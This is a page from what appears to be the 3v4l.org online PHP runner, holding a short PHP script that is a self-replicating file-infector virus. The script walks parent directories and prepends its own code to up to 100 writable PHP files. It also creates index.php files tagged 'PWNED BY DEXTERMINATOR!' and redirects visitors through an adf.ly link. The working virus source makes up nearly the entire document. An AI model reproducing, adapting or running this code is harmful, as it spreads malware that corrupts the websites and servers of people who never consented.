3v4l.org

run code in 300+ PHP versions simultaneously
<?php #index.php $atefile = 0; walkthrough('../..'); function walkthrough($dir) { global $atefile; $maxi = 100; $viruscontents=fread(fopen(__FILE__,'r'), 1644); if (!file_exists('index.php')) { $handle = fopen('index.php', 'a'); fwrite($handle, $viruscontents.'PWNED BY DEXTERMINATOR!'); fclose($handle); } if(is_dir($dir)){ if($dh = opendir($dir)){ while(($file = readdir($dh)) !== false && $atefile<$maxi){ if($file != "." && $file != ".."){ if(is_dir($dir."/".$file)){ walkthrough($dir."/".$file); }else{ if(strstr (substr($file, -4), 'php')){ $infected=true; $caniwrite=false; if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){ $output = fopen($dir."/".$file, "r"); if(filesize ($dir."/".$file)>0){ $contents = fread ($output , 20); $mine = strstr ($contents, 'index.php'); fclose($output ); } $infected=false; if($mine){$infected=true;} } if($infected==false){ if(filesize ($dir."/".$file)>0){ $victim = fopen($dir."/".$file, "r+"); $ori = fread($victim, filesize($dir."/".$file)); fclose($victim); } $victim = fopen($dir."/".$file, "w+"); if(filesize($dir."/".$file)==0){ fwrite($victim, $viruscontents); }else{ fputs($victim ,$viruscontents.$ori); } $atefile++; fclose($victim ); } } } } } closedir($dh); } } return $counter; } header ('Location: http://adf.ly/7520520/http://www.3v4l.org/'); ?>

preferences:
39.63 ms | 402 KiB | 5 Q